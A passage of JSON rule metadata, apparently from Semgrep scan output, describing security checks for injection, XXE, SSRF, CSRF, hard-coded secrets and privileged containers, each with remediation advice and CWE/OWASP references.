python.django.security.passwords.use-none-for-password-default.use-none-for-password-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"help":{"markdown":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write","id":"python.django.security.injection.request-data-write.request-data-write","name":"python.django.security.injection.request-data-write.request-data-write","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-write.request-data-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","id":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","name":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"help":{"markdown":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection","id":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","name":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.missing-csrf-protection.missing-csrf-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","id":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","name":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"help":{"markdown":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11](https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11)\n","text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","id":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","name":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.class-extends-safestring.class-extends-safestring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"help":{"markdown":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command","id":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","name":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","id":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","name":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all secrets"},"help":{"markdown":"Ensure that the expiration date is set on all secrets\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Ensure that the expiration date is set on all secrets"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"help":{"markdown":"User input is passed to a function that executes a shell command. This can lead to remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec","id":"php.lang.security.injection.tainted-exec.tainted-exec","name":"php.lang.security.injection.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n","text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container","id":"yaml.kubernetes.security.privileged-container.privileged-container","name":"yaml.kubernetes.security.privileged-container.privileged-container","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.privileged-container.privileged-container"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"help":{"markdown":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection)\n - [https://github.com/argoproj/argo-workflows/issues/5061](https://github.com/argoproj/argo-workflows/issues/5061)\n - [https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370](https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370)\n","text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"helpUri":"https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","id":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","name":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 – Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal 